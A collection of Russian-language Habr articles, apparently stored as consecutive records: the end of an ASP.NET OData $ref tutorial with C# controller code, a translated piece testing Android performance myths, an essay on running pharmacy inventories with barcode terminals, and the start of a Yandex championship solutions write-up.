Для манипуляций с навигационными свойствами, которые являются ссылками на другие справочниками, в запросах используется оператор $ref, для сопоставления нужных методов, методы должны включать в название Ref, например, CreateRefToUploadTemplates.
Поскольку связи можно получить методом GetUploadTemplates, ниже я привел реализацию методов добавления и удаления связи при отношении «один-ко-многим».
Запрос на добавление связи:
`POST или PUT http://localhost:61268/odata/UsingSystems(5)/UploadTemplates/$ref`
Тело запроса, по стандарту, выглядит так:
```
{
"@odata.id": "http://localhost:61268/odata/UploadTemplates(2)"
}
```
Код метода контроллера:
```
public IActionResult CreateRefToUploadTemplates(int key, string navigationProperty, [FromBody] JsonElement link)
{
UsingSystem? entity = _dbContext.UsingSystems
.FirstOrDefault(x => x.Id == key);
string path = link.GetProperty("@odata.id")
.GetString();
long relatedKey = long.Parse(Regex.Match(path, "\\(\\d+\\)")
.Value);
UploadTemplate? relatedEntity = _dbContext.UploadTemplates
.FirstOrDefault(x => x.Id == relatedKey);
entity.UploadTemplates.Add(relatedEntity);
_dbContext.SaveChanges();
return NoContent();
}
```
[Документация AspNet WebApi V7](https://docs.microsoft.com/en-us/odata/webapi/built-in-routing-conventions) предусматривает для данного метода иную сигнатуру; последний параметр имеет тип Uri, и должен самостоятельно извлекаться из JSON. Однако, в используемой версии это не работает, так как на вход из тела приходит JsonElement (если бы мы использовали Newtonsoft.Json, предположительно, это был бы JObject). Так или иначе, тело ответа приходится разбирать самостоятельно, вытаскивая их него ИД связываемого объекта.
Запрос на удаление связи:
`DELETE http://localhost:61268/odata/UsingSystems(5)/UploadTemplates(2)/$ref`
Код метода контроллера:
```
public IActionResult DeleteRefToUploadTemplates(int key, int relatedKey, string navigationProperty)
{
UsingSystem entity = _dbContext.UsingSystems
.Where(x => x.Id == key)
.Include(x => x.UploadTemplates)
.FirstOrDefault();
UploadTemplate relatedEntity = _dbContext.UploadTemplates
.FirstOrDefault(x => x.Id == relatedKey);
entity.UploadTemplates.Remove(relatedEntity);
_dbContext.SaveChanges();
return NoContent();
}
```
Принципиальным здесь является получение записи типа UsingSystem со включенным навигационным свойством UploadTemplates (с помощью Include). Если этого не сделать, связь не будет удалена.
Источники
---------
[ASP.NET OData 8.0 Preview for .NET 5](https://devblogs.microsoft.com/odata/asp-net-odata-8-0-preview-for-net-5/)
[Routing in ASP.NET OData 8.0 Preview](https://devblogs.microsoft.com/odata/routing-in-asp-net-core-8-0-preview/)
[OData AspNet WebApi V7 Built-in Routing Conventions](https://docs.microsoft.com/en-us/odata/webapi/built-in-routing-conventions)
[OData Basic Tutorial](https://www.odata.org/getting-started/basic-tutorial/) | https://habr.com/ru/post/569014/ | null | ru | null |
# Разрушаем мифы о производительности Android
### Узнайте, какие мифы о производительности Android выдержали испытание бенчмарком
> **В преддверии старта курса** [**"Android Developer. Basic"**](https://otus.pw/2gJq/) **приглашаем всех желающих посмотреть открытый урок по теме** [**"Unit-тестирование в Android".**](https://otus.pw/ahiH/)
>
> А также делимся переводом полезного материала.
>
>
---
За прошедшие годы возникло немало мифов о производительности Android. Хотя некоторые мифы могут показаться занятными или забавными, пойти по ложному следу при создании эффективных приложений для Android — полная противоположность веселья.
В этой статье мы собираемся проверить эти мифы на прочность в духе MythBusters (Разрушители легенд). Для развенчания мифов мы используем реальные примеры и инструменты, которые вы тоже можете использовать. Мы ориентируемся на превалирующие шаблоны использования: то, что вы, как разработчики, вероятнее всего, делаете в своем приложении. Но стоит озвучить одно предостережение: помните, что очень важно сначала производить измерения, прежде чем принимать решение об использовании той или иной практики по соображениям производительности. Тем не менее, давайте приступим к разрушению мифов!
### Миф 1: Приложения на Kotlin больше и медленнее, чем приложения на Java
Команда Google Drive перенесла свое приложение с Java на Kotlin. Этот перенос затронул более 16 000 строк кода и 170 файлов, охватывающих более 40 таргетов сборки. Среди показателей, которые отслеживала команда, одним из важнейших было время запуска.
Как видите, переход на Kotlin не возымел существенного влияния.
Даже больше, команда не заметила разницы в производительности во всем наборе тестов. Они действительно отметили небольшое увеличение времени компиляции и размера скомпилированного кода, но примерно на 2%, что не играет особой роли.
С другой стороны, команда добилась сокращения количества строк кода на 25%. Их код стал чище, понятнее и проще в обслуживании.
Следует отметить одну вещь касательно Kotlin: вы можете и должны использовать инструменты сжатия кода, такие как R8, в котором даже есть специальные оптимизации для Kotlin.
### Миф 2: Геттеры и сеттеры обходятся дорого
Некоторые разработчики из соображений производительности предпочитают использовать public поля вместо сеттеров и геттеров. Распространенный шаблон кода, где getFoo служит в качестве геттера, выглядит примерно так:
```
public class ToyClass {
public int foo;
public int getFoo() { return foo; }
}
ToyClass tc = new ToyClass();
```
Мы сравнили это с использованием public поля tc.foo, когда код нарушает инкапсуляцию объекта для прямого доступа к полям.
Мы протестировали это с помощью [библиотеки Jetpack Benchmark](https://developer.android.com/studio/profile/benchmark) на Pixel 3 с Android 10. Библиотека бенчмарков предоставляет фантастический способ легко протестировать ваш код. Среди особенностей библиотеки - то, что она предварительно разгоняет код, поэтому результаты представляют собой стабильные показатели.
Так что же показали бенчмарки?
Версия с геттером работает так же хорошо, как и версия, с прямым доступом к полю. Этот результат неудивителен, поскольку среда выполнения Android (ART) инлайнит в ваш код все тривиальные методы доступа. Таким образом, код, выполняемый после компиляции JIT или AOT, одинаков. Даже больше, когда вы обращаетесь к полю в Kotlin — в этом примере tc.foo — вы обращаетесь к этому значению с помощью геттера или сеттера в зависимости от контекста. Однако, поскольку мы инлайним все методы доступа, ART выручит нас: разницы в производительности нет.
Если вы не используете Kotlin и если только у вас нет веской причины сделать поля public, вам не следует ломать хорошие практики инкапсуляции. Скрывать private данные вашего класса — хорошая идея, и вам не следует изобличать их только по соображениям производительности. Используйте геттеры и сеттеры.
Миф 3: Лямбда-выражения медленнее, чем внутренние классы
--------------------------------------------------------
Лямбда-выражения, особенно с введением потоковых API, представляют собой удобную языковую конструкцию, которая обеспечивает очень компактный код.
Возьмем код, в котором мы суммируем значения некоторых внутренних полей из массива объектов. Сначала используя потоковые API с операцией map-reduce.
```
ArrayList array = build();
int sum = array.stream().map(tc -> tc.foo).reduce(0, (a, b) -> a + b);
```
Здесь первая лямбда преобразует объект в целое число, а вторая суммирует два полученных значения.
Это можно сравнить с определением эквивалентных классов для лямбда-выражений.
```
ToyClassToInteger toyClassToInteger = new ToyClassToInteger();
SumOp sumOp = new SumOp();
int sum = array.stream().map(toyClassToInteger).reduce(0, sumOp);
```
Есть два вложенных класса: один - это toyClassToInteger, который преобразует объекты в целое число, а второй - это операция суммирования sum.
Очевидно, что первый пример, с лямбдами, гораздо более элегантен: большинству рецензентов кода, скорее всего, придется по душе именно он.
Однако что насчет различий в производительности? Мы снова использовали библиотеку Jetpack Benchmark на Pixel 3 с Android 10 и не обнаружили разницы в производительности.
Из графика видно, что мы также определяли класс верхнего уровня, и там тоже не было разницы в производительности.
Причина такого сходства в производительности в том, что лямбды транслируются в анонимные внутренние классы.
Следовательно, вместо написания внутренних классов используйте лямбды: они создают гораздо более лаконичный и чистый код, который понравится вашим рецензентам.
### Миф 4: Аллоцирование объектов — дорогое удовольствие, лучше использовать пулы
Android использует самые современные функции выделения памяти и сборки мусора. Аллоцирование объектов улучшалось почти в каждом релизе, как можно увидеть на следующем графике.
Сборка мусора также значительно улучшилась от релиза к релизу. Сегодня сборка мусора не влияет на сбои или плавность работы приложения. На следующем графике показано улучшение, которое мы сделали в Android 10 для сбора объектов с коротким жизненным циклом с параллельным Gen-CC. Улучшения, которые также заметны в новом релизе Android 11.
Пропускная способность существенно выросла в бенчмарках сборки мусора, таких как H2, более чем на 170%, а в реальных приложениях, таких как Google Sheets, — на 68%.
Так как же это влияет на решения в написании, например, аллоцировать ли объекты с помощью пулов?
Если вы предполагаете, что сборка мусора неэффективна, а выделение памяти обходится дорого, вы можете прийти к выводу, что чем меньше мусора вы создаете, тем меньше будет работать сборка мусора. Вместо того, чтобы создавать новые объекты каждый раз, когда вы их используете, вы поддерживаете пул часто используемых типов, а затем получаете объекты оттуда. Вы можете реализовать что-то вроде этого:
```
Poolpool[] = new Pool<>[50];
void foo() {
A a = pool.acquire();
…
pool.release(a);
}
```
Здесь опущены некоторые детали, но по сути вы просто определяете пул в своем коде, получаете объект из пула и в конечном итоге освобождаете его.
Чтобы проверить это, мы реализовали микробенчмарк для измерения двух вещей: накладных расходов на стандартную аллокацию и извлечения объекта из пула и накладных расходов ЦП, чтобы выяснить, влияет ли сборка мусора на производительность приложения.
Для этого сценария мы использовали Pixel 2 XL с Android 10, выполняя код аллокации тысячи раз в очень жестком цикле. Мы также смоделировали объекты разных размеров, путем добавления дополнительных полей, потому что производительность может быть разной для маленьких и больших объектов.
Вот результаты накладных расходов на аллокацию объектов:
Вот результаты накладных расходов ЦП на сборку мусора:
Вы можете наблюдать, что разница между стандартной аллокацией и использованием объектов из пула минимальна. Однако, когда дело доходит до сборки мусора, для больших объектов решение с пулом становится немного хуже.
Этого на самом деле мы и ожидали от сборки мусора, потому что, объединяя объекты в пул, вы увеличиваете объем памяти, занимаемый вашим приложением. Внезапно вы начинаете занимать слишком много памяти, и даже если количество вызовов сборки мусора уменьшается из-за объединения объектов в пул, стоимость каждого вызова сборки мусора становится выше. Это связано с тем, что сборщик мусора должен перелопатить гораздо больше памяти, чтобы решить, что еще живо, а что нужно утилизировать.
Итак, разрушен ли этот миф? Не совсем. То, будут ли пулы объектов более эффективными, зависит от потребностей вашего приложения. Во-первых, помимо сложности кода, помните о других недостатках использования пулов:
* Может иметь более высокий объем памяти.
* Риск сохранения объектов в живых дольше, чем необходимо.
* Требуется очень эффективная реализация пула
Однако подход с использованием пула может быть полезен для больших или дорогостоящих в аллоцировании объектов.
Главное, что нужно запомнить, — это проверять и измерять, прежде чем выбирать свой вариант.
### Миф 5: Профилирование моего отлаживаемого приложения — это хорошая идея
Профилирование вашего приложения, пока оно является отлаживаемым (debuggable), было бы действительно удобно, ведь, в конце концов, обычно вы пишете код в режиме отладки. И даже если профилирование в отлаживаемом режиме немного неточно, возможность выполнять итерацию быстрее должна компенсировать это. К сожалению, нет.
Чтобы проверить этот миф, мы рассмотрели несколько бенчмарков для общих рабочих процессов. Результаты представлены на следующем графике.
На некоторых тестах, например на десериализации, это не отражается. Однако для других существует 50% или более регрессии эталонного теста. Мы даже нашли примеры, которые были на 100% медленнее. Это связано с тем, что среда выполнения очень мало оптимизирует ваш код, когда он является отлаживаемым, т.е. код, который пользователи запускают на производственных устройствах, сильно отличается.
Результатом профилирования в отлаживаемом режиме является то, что вы можете быть неправильно перенаправлены на горячие точки в своем приложении и будете в итоге тратить время на оптимизацию того, что не требует оптимизации.
### Странные дела
Сейчас мы собираемся отойти от разрушения мифов и переключить наше внимание на более странные вещи. Это вещи, которые не являются мифами, которые мы могли бы опровергнуть. Скорее, это вещи, которые не сразу становятся очевидными или легко поддаются анализу, но результаты могут перевернуть ваш мир с ног на голову.
#### Странность 1: Multidex: влияет ли это на производительность моего приложения?
APK-файлы становятся все больше и больше. Они не вписываются в ограничения традиционной спецификации dex уже какое-то время. Multidex — это решение, которое вы должны использовать, если ваш код превышает ограничение на количество методов.
Вопрос в том, сколько методов - это слишком много? И есть ли влияние на производительность, если приложение имеет большое количество dex-файлов? Может быть даже не из-за того, что ваше приложение слишком велико, вы можете просто разделить dex-файлы dex на основе функций для упрощения разработки.
Чтобы исследовать влияние множества dex-файлов на производительность, мы взяли калькулятор. По умолчанию это приложение с одним dex-файлом. Затем мы разбили его на пять dex-файлов на основе границ его пакета, чтобы имитировать разбиение по функциям.
Затем мы протестировали несколько аспектов производительности, начиная со времени запуска.
Разделение dex-файла на это не повлияло. Для других приложений могут возникнуть небольшие накладные расходы в зависимости от нескольких факторов: насколько велико приложение и как оно было разделено. Однако, если вы разбиваете dex-файл разумно и не добавляете их сотни, влияние на время запуска должно быть минимальным.
А как насчет размера APK и памяти?
Как видите, немного увеличился и размер APK, и объем памяти во время работы приложения. Это связано с тем, что, когда вы разделяете приложение на несколько dex-файлов, каждый dex-файл содержит некоторые дублированные данные для таблиц символов и кешей.
Однако вы можете минимизировать этот прирост, уменьшив зависимости между dex-файлами. В нашем случае мы не пытались его минимизировать. Если бы мы попытались минимизировать зависимости, мы бы обратились к инструментам R8 и D8. Эти инструменты автоматизируют разделение dex-файлов, помогают избежать распространенных ошибок и минимизировать зависимости. Например, эти инструменты не создадут больше dex-файлов, чем необходимо, и не поместят все startup-классы в основной файл. Однако, если вы делаете разбиение dex-файлов самостоятельно, всегда измеряйте то, что вы разбиваете.
#### Странность 2: Мертвый код
Одно из преимуществ использования среды выполнения с JIT-компилятором, например ART, заключается в том, что среда выполнения может профилировать код, а затем оптимизировать его. Существует теория, что если код не профилируется интерпретатором/JIT-системой, он, вероятно, также не выполняется. Чтобы проверить эту теорию, мы исследовали профили ART, созданные приложением Google. Мы обнаружили, что значительная часть кода приложения не профилируется ART интерпретатором JIT-системы. Это показатель того, что большая часть кода на самом деле никогда не будет выполняться на устройствах.
Есть несколько типов кода, которые не могут быть профилированы:
* Код обработки ошибок, который, надеюсь, выполняется нечасто.
* Код для обратной совместимости, код, который не выполняется на всех устройствах, особенно на устройствах с Android 5 или более поздней версией.
* Код для редко используемых функций.
Однако наблюдаемые нами перекосы в распределении являются убедительным свидетельством того, что в приложениях может быть много ненужного кода.
Быстрый, простой и бесплатный способ удалить ненужный код — минимизировать его с помощью R8. Затем, если вы еще этого не сделали, преобразовать ваше приложение для использования [Android App Bundle](https://developer.android.com/guide/app-bundle) и Play Feature Delivery. Они позволяют улучшить взаимодействие с пользователем, устанавливая только те функции, которые используются.
### Выводы
Мы развенчали ряд мифов о производительности Android, но также увидели, что в некоторых случаях все не однозначно. Поэтому очень важно проводить сравнительный анализ и измерения, прежде чем выбирать сложные или даже небольшие оптимизации, которые противоречат хорошим практикам написания кода.
Существует множество инструментов, которые помогут вам измерить и решить, что лучше всего подходит для вашего приложения. Например, в Android Studio есть профилировщики для нативного и неродного кода, в нем даже есть профилировщики для использования батареи и сети. Есть инструменты, которые могут копнуть глубже, например Perfetto и Systrace. Эти инструменты могут предоставить очень подробное представление о том, что происходит, например, во время запуска приложения или сегмента вашего выполнения.
Библиотека Jetpack Benchmark устраняет все сложности, связанные с измерениями и сравнительным анализом. Мы настоятельно рекомендуем вам использовать его в вашей непрерывной интеграции, чтобы отслеживать производительность и видеть, как ваши приложения ведут себя, когда вы добавляете в них дополнительные функции. И последнее, но не менее важное: не выполняйте профилирование в режиме отладки.
Java является зарегистрированным товарным знаком Oracle и/или ее дочерних компаний.
---
> [**Узнать подробнее о курсе**](https://otus.pw/2gJq/) **"Android Developer. Basic".**
>
> [**Посмотреть открытый урок по теме**](https://otus.pw/ahiH/) **"Unit-тестирование в Android"**[**.**](https://otus.pw/ahiH/)
>
> | https://habr.com/ru/post/533802/ | null | ru | null |
# Как надо и как не стоит проводить инвентаризацию
На мой взгляд, нет ничего сложнее, чем использование современных технологий в реальной жизни. Любая программа, любой алгоритм в «чистом» виде – вещь в идеальном случае довольно простая. Чуть сложнее оказывается (если оно в принципе возможно) прямое сопряжение таких алгоритмов, реализованных разными командами. Еще сложнее получается обработка данных, сгенерированных другими программами. Самое неприятное и сложное – заставить работать это все в реальном мире, с данными, генерируемыми непредсказуемыми и хаотичными процессами нашей реальности. Потому что алгоритм и его реализующая программа в любом случае представляют собой средство УПОРЯДОЧЕННОЙ обработки данных. А наш мир, как это сейчас считается, катится только в направлении увеличения беспорядка.
Автоматизация розничной торговли – задача из этой области: попытка упорядоченно обработать потоки данных, слабо подчиняющихся формализации и упорядочению. Ну или очень сильно сопротивляющиеся. Хе, как будто у них есть намерения.
В своей предыдущей [статье (Как надо и как не стоит автоматизировать торговлю)](http://mbrdancer.habrahabr.ru/blog/101917/) я довольно сумбурно свалил очень много всего в кучу. Похвалил и поругал ПО для автоматизации продаж в торговой сети. Уточним: в коммерческой сети аптек. И обещал рассказать, как лучше провести инвентаризацию.
Сегодня я расскажу, как мы проводим инвентаризацию на аптеках, и какие айсберги поджидают наш Титаник на этом пути.
В этот раз постараюсь разукрасить статью картинками и писать предложения с меньшим количеством слов.
Кому интересно — добро пожаловать под кат.
Итак, инвентаризация. Сначала вообще надо понять, что это и зачем оно бывает.
Инвентаризация — это такое мероприятие, в результате которого мы получаем обоснованное количественное сравнение фактического остатка каждого наименования товара с предполагаемым («учетный»). Учетный получается из результатов предыдущей инвентаризации путем суммирования приходных и расходных данные по документам. Откуда могут браться расхождения — отдельный вопрос, но поверьте мне, они берутся. Масштабы их зависят от дисциплинированности и честности персонала, юзабельности ПО, корректной работы оборудования, и много еще от чего. В большинстве аптек, которые автоматизированы под моим руководством, сейчас инвентаризация проходит с расхождениями в сумме товара на 100-200 рублей. Это при среднем обороте 1-1,5млн.р. в месяц. А инвентаризации мы теперь проводим нечасто, — где-то раз в год.
В результатах инвентаризации плохо отклонение и в плюс, и в минус — ибо это отклонение от данных системы автоматизации. А система эта внедряется не только для того, чтобы быстрее «колотить выручку», но и чтобы давать данные для решений о развитии торговли, направлениях расширения или сужения ассортимента, следить за дефектурой по наименованиям, группам товаров, за сроками годности и фальсификатами. Тут вопрос принципа — можно ли системе и выдаваемым ею данным доверять.
Итак, проводится инвентаризация, учетный остаток приводится в соответствие с фактическим, «поощряются непричастные и наказываются невиновные». И снова торгуем до следующей инвентаризации, получаем постепенно расходящиеся фактический и учетный остатки. И так, теоретически, до бесконечности. Ну или как минимум до закрытия компании.
А вот первичная точка отсчета какая? Откуда взялся первый учетный остаток?
Из первичной инвентаризации. Принципиально она от всех остальных ничем не отличается, просто в этот момент учетный остаток нулевой. А вот технически она отличается очень сильно. Чтобы понять, чем, — сначала надо понять, как проводится любая другая — после нее.
#### Обычная инвентаризация
Если кто [поинтересовался](http://mbrdancer.habrahabr.ru/blog/101917/), идентификация товара у нас ведется по нашему внутреннему штрих-коду (ШК). Это ШК в стандарте EAN13 с ведущей цифрой 2.
Такая однозначная идентификация позволяет нам учитывать товар с точностью до поставки (партии). А сведения о партии содержат отсылку на само наименование (а еще точнее — на элемент классификатора товаров), серию, срок годности, данные по ценам и еще много чего. И это важно — вести учет с точностью до партий, ибо никто не захочет получить просроченные лекарства, ибо, как ранее правильно отметили в комментах, «на кону жизнь и здоровье» граждан. Да и незаконно это, — продавать просроченные препараты.
А потому и инвентаризацию мы должны проводить с точностью до партий. А то вдруг осталась в фактичесом остатке просроченная аскорбинка, и дите чье-нибудь ей потравится. Или заклеит мозоль просроченным пластырем.
Внимательный хабраюзер уже наверняка самостоятельно пришел к выводу, что процесс обычной инвентаризации прост донельзя: достаточно считать внутренний ШК со всех упаковок, проставляя количеством единицу. Потом свернуть эти данные, группируя по ШК и суммируя по количеству — вуаля, фактический остаток готов. Останется с идентификацией по ШК сравнить с учетными данными. И тогда уже поощрять и наказывать.
А вот теперь особенности.
Понятное дело, процесс инвентаризации подразумевает, что аптека в это время закрыта. Все видели ненавистное слово УЧЕТ на двери так необходимого вот именно теперь магазина? Ненавижу это слово. Это как получить отказ от девушки: идешь, готовишься, предвкушаешь, а тебе — от ворот поворот. Заставляет чувствовать себя лузером.
Ну в общем закрыта аптека в это время. И хотелось бы, чтобы это ее состояние длилось как можно меньше. Ну хотя бы потому что в это время не идет выручка, если уж чувства отшитых покупателей никого не волнуют. Поэтому тех четырех (это у нас на самой ходовой аптеке) рабочих мест со сканерами ШК катастрофически недостаточно. Поэтому мы используем так называемые терминалы сбора данных (ТСД). В нашем распоряжении в свое время оказались [Casio DT-930](http://world.casio.com/system/pa/products/ht/dt930.html)
Это очень интересная машинка: в голове у нее – лазерный излучатель и поглотитель. ~~Поглотителем она считывает ШК, а излучателем – его излучает.~~ Ну в смылсе, в голову его встроен считыватель ШК, который помимо всего прочего поддерживает и EAN13 (эка невидаль). Так а нам бОльшего и не надо!
В комплекте с ним идет набор стандартных конфигураций, руководящих процессом сбора данных (в каких-то надо вводить цену, в каких-то ШК разбирается как содержащий данные о весе товара, много еще вариантов). На нашу беду, простейшей конфиугурации, тупо собирающей ШК с указанием количества, среди стандартных нет. А вот чтобы склепать и (что важнее) зашить свою конфигурацию, — нужна лицензия Стандарт. Базовый комплект ТСД включает лицензию Демо, с ней нельзя закачать свою конфигурацию. Это подводный камень для тех, кто решит использовать эти ТСД.
Если вообще говорить о ТСД как средстве сбора данных на инвентаризации, в принципе, большего, чем этот Casio, и не надо. Хотя если бы мы не представляли из себя «ансамбль бедных людей», я бы с радостью использовал современные технологии беспроводной передачи данных и связал бы ТСД с системой учета напрямую. Но пока то только в мечтах.
Итак, на эту машинку собираются данные практически так же, как описано выше: сканируется ШК… и ставится количество. Это подводный камень номер два при использовании ТСД. Когда есть возможность проставить количество, никого не заставишь считать сто предположительно одинаковых ШК. Например, в коробке с пузырьками нафтизина. А проверить, что они одинаковые – уж тем более. А у одного и того же препарата в разных партиях – и цена разная, и срок годности… Поэтому инвентаризация – не панацея от расхождений учетных и фактических остатков. И однозначно от так назваемого пересорта не защищает.
Для неспециалистов поясню: пересорт – это такое универсальное ругательное слово, которое употребляется вместо слова п@#$ц при описании ситуаций с расхождением учетных и фактических остатков. Оно может собой означать как настоящий пересорт (когда товар одного сорта учтен как товар другого сорта – то есть, например, если вместо десяти упаковок виагры, значащихся по учету, на полке стоят десять эмалированных горшков), так и «пересорт» в пределах одного и того же товара, но по партиям (то есть, по серии, сроку годности и цене). А в устах человека, недостаточно хорошо говорящего по-русски, это слово может означать именно то, что я закрыл нечитаемыми символами, напрямую, то есть, например, вообще недостачу (это когда товара не хватает) или излишки (это когда по факту товара слишком много, но мы-то помним, что это все равно плохо).
Возвращаясь к обычной инвентаризации, предположим, что данные на ТСД собираются достаточно аккуратно. Тогда при загрузке данных с него у нас сейчас получается нечто вроде вот этого:
`2001000291205;5;
2001000302925;6;
2001000242405;2;
2001000308515;1;
2001000245512;2;
2001000230228;1;
2001000312085;5;
2001000177349;5;
2001000017739;1;`
Простой текстовый файл. Эти данные несложно загружаются в систему учета и присоединяются к данным текущей инвентаризации. М-Аптека Плюс это умеет. Когда дадут попробовать 1Сные варианты, — посмотрю и у них. А вот от инвентаризации на других системах сознательно отнекивался: слишком много это мороки все-таки, я не готов сейчас на неродные аптеки тратить целый день.
Чуть не забыл: тут еще один подводный камень. Внимательный хабрачитатель заметит, что все ШК тут -13-значные. И это правильно, это стандарт. Зато вот в системе учета они могут храниться с отступлением от стандарта. Конкретно в М-Аптеке+ они хранятся без последнего контрольного разряда. То есть, 12-значными. О каком совпадении тут может идти речь?! Ну а разве мне вас учить, как написать скриптик, обрезающий 13й символ в этом файле?! Для желающих могу привести, он у меня написан на javascript, выполняется над всеми текстовыми файлами директории, в которой лежит. Проверки на то, что файл уже обрабатывался (то есть, ШК уже 12-значные) нет, но это не вызывало проблем ни разу, поэтому смысла встраивать такую проверку в скрипт внутренного использования не вижу. Другое дело – если бы я его продавать вздумал. Но тогда я бы наверное в первую очередь задумался над защитой от копирования. И тогда он сразу стал бы стоить не 2коп., а какие-нибудь 20у.е…
Ну а дальше все просто: система суммирует фактические данные инвентаризации по всем источникам, считает расхождения, и тогда можно по этим расхождениям оформлять документ списания и оприходования, выводить отчеты и регламентированные печатные формы инвентаризации.
#### Первичная инвентаризация
Ну а чем первичная инвентаризация отличается от обычной? Правильно, отсутствием внутренних ШК. Во всей аптеке первоначально нет ни одного внутреннего ШК. Есть только заводские, но [тут](http://mbrdancer.habrahabr.ru/blog/101917/) все молчаливо согласились, что их использование почти нереализуемо.
Значит, перед нами стоит более сложная задача: надо пересчитать товар, который с учетом всего сказанного [тут](http://mbrdancer.habrahabr.ru/blog/101917/) не слишком хорошо идентифицируется.
Ну что ж поделать, значит, надо будет его идентифицировать теми самыми способами, которые [там же](http://mbrdancer.habrahabr.ru/blog/101917/) и описаны.
Сперва формализуем задачу.
Как в любой системе учета, хозяйственное событие регистрируется объектом, который называется документ. В документе хранится вся информация об этом событии. В случае первичной инвентаризации это будет документ первичного оприходования товара. Во всякой системе он называется по-своему и выглядит по-своему, но смысл у всех этих вариантов один: надо перечислить все товары, которые есть в аптеке, по возможности с наибольшим количеством учетных параметров: количество, розничная цена, закупочная цена, ставка НДС, срок годности, поставщик (а вдруг возвращать придется), серия партии, дата и номер приходной накладной.
Итак, приезжаем на аптеку, стартуем инвентаризацию, и начинаем вводить товар… Тут сразу ступор. Товары — это элементы нашего классификатора товаров, которые надо либо выбирать вручную, либо пользоваться ускоренным вводом через какие-то идентификаторы с возможностью автоматизированного ввода. Наименование на упаковках написано совсем не такое, как в документах поставщиков (как минимум дозировка или количество в упаковке вообще может быть указано в инструкции, а наименование на упаковке может быть рекламным, а не настоящим). Да и сканер ШК не умеет читать буквы. Вводить наименования с клавиатуры? Эдак даже не неделя, а месяц на внедрение уйдет. Попробовать по заводским ШК? Ну я в первый раз попробовал. Отсылаю за горькими слезами раскаяния в [предыдущую статью](http://mbrdancer.habrahabr.ru/blog/101917/).
А правильно надо вот как.
Во-первых, не ехать на аптеку. Правильно читаете, первичная инвентаризация не начинается в аптеке.
Чего нам не хватает для проведения инвентаризации? Внутренних ШК? Ну так давайте их сделаем! Но только не на тот товар, который сейчас есть в аптеке, чтобы его не идентифицировать и не перетасовывать целый месяц. А на тот, на который мы можем их наклеить без закрытия аптеки. Заставим работать менеджера снабжения и отдел приемки товара в аптеке за месяц до инвентаризации. Пусть менеджер оформляет приходы, а тетя Таня на приемке в аптеке клеит наши ШК на товар все это время, как будто мы по ним уже будем продавать. Результат потрясет воображение: через месяц 90% товара в аптеке будет иметь наши внутренние ШК!
Как такое может быть? А все просто. Оборот аптеки за месяц примерно равен его среднему остатку. Ну примерно в пределах 10-15% отклонения. Это эмпирическая закономерность, которую я заметил в аптеках нашей сети. Если в других сетях это по-другому, — то из этого «по-другому» и надо будет исходить.
А еще в фармторговле есть такая особенность: нельзя брать товар на годы вперед. Ведь у большинства ограничен срок годности. Обычно заказывается и привозится запас примерно из расчета на 2-4 дня. Значит, за месяц не продадутся только слаботекущие и дорогостоящие препараты. Таких немного – как раз прцоентов 10 и есть. Ибо аптеке невыгодно содержать товар, который плохо расходится.
Вот отсюда и получается 10%. Цифра неточная, конечно, и сильно зависит от метода закупок сети, от дисциплинированности персонала торговой точки, да много еще от чего.
Подводный камень номер непомнюкоторый. Для того, чтобы все это проворачивать, на аптеке надо будет «внедрить» систему автоматизации с самого начала. Но продавать там пока не получится. А с точки зрения персонала это выглядит как никчемная нагрузка, не имеющая основания, и пустая трата сил за ту же зарплату. Решается административно или по-человечески, долгими вечерами разговоров и объяснений. Хотя, как показывает опыт, только административно.
Весь этот месяц с точки зрения учетной системы мы ничего не продали – ну и пусть, по факту инвентаризации все, чего нет на полках, будет СПИСАНО. И 90% товара пройдет инвентаризацию быстро и без проблем, по схеме «обычной» инвентаризации.
Что делать с остальными 10%?
А вот тут уже не обойтись без утомительной процедуры ввода товара на учетный остаток вручную. Вариантов несколько.
* Можно задним числом импортировать в систему автомаризации все документы, по которым были получены эти 10% товара. Путь сложный, но при должном порядке в компании может «прокатить». Порядок гарантирует возможность найти эти документы и их электронные накладные (ЭН, описал [там](http://mbrdancer.habrahabr.ru/blog/101917/)) и труд менеджера сведется к обычной процедуре. Вряд ли стоит доказывать, что такой порядок в компании – явление крайне редкое, потому вероятность грамотно провернуть этот трюк очень мала. А вот если такое получается, — достоинств масса. Например, сохранение ссылочной целостности учета, которая очень важна, например, при учете себестоимости (если кому интересно – пишите в комменты)
* Можно в течение того самого месяца специальному человеку «дежурить» на объекте и каким-нибудь способом выслеживать плохо расходящийся товар, и, опять же, заводить на остаток его вручную – долгим и нудным поиском по наименованию в классификаторе. Остальное, что этот человек не отследит, — уже вводить точно так же, но уже в день инвентаризации.
* И наконец самый надежный путь – вводить все эти 10% в день инвентаризации. В этот момент обычно вводится оприходование, в котором указывается минимум сведений: ссылка на товар, розничная цена (кто ж его теперь найдет цену поставки-то?), срок годности, серия (а иногда и они не вводятся), еще некоторые кровно необходимые бухгалтерские данные.
Путь конечно самый надежный, но далеко не самый быстрый и при плохой подготовке может привести к растяжению процесса на два, три или сколько угодно дней.
Напомню, все эти варианты оцениваются по качеству с точки зрения скорости. Чтобы как можно меньше покупателей ощутили себя лузерами, и чтобы первичная инвентаризация не растянулась на неделю, как это гарантированно случится, если месяц подготовки не заложен в план действий.
В заключение остается только упомянуть практически идеальную с точки зрения скорости автоматизацию аптеки. Это когда сама инвентаризация как таковая отсутствует и фактический остаток считается совпадающим с учетным, а внутренние ШК наклеиваются сразу на весь товар. Такое бывает, если аптека только открывается и весь товар идет по закупке или перемещению с уже автоматизированных аптек этой сети.
Товар, который перемещается с другой аптеки, уже готов к продаже: на нем наклеены ШК и он заведен на остаток документом перемещения.
А товар, который закупается, просто проходит обычный путь оприходования через заказ, менеджера по закупкам, расценку и «обштриховку», как если бы аптека работала уже несколько лет. Правда, объем этой закупки довольно велик, но эта проблема решается усилением наряда тети Тани на приемке на неделю внедрения.
Ну и напоследок, поскольку обещал картинки. В качестве взрывающегося вертолета:
 | https://habr.com/ru/post/102286/ | null | ru | null |
# Разбор решенных задач с чемпионата по программированию от Яндекса (фронт-энд разработка) 2019
Завершилось мое участие в чемпионате по программированию. Я неплохо прошел квалификацию, решив 4 из 6 задач и шел на 20 месте, поэтому были надежды и в финале попасть топ 20.
Но к сожалению не удалось попасть даже в топ-100. После драки кулаками не машут, но я смог решить еще несколько задач по завершению. Предлагаю вашему вниманию все решенные мной задания.
Отдельная благодарность за помощь в решений:
[miraage](https://habr.com/en/users/miraage/) [toster.ru/user/miraage](https://toster.ru/user/miraage)
[profesor08](https://habr.com/en/users/profesor08/) [toster.ru/user/profesor08](https://toster.ru/user/profesor08)
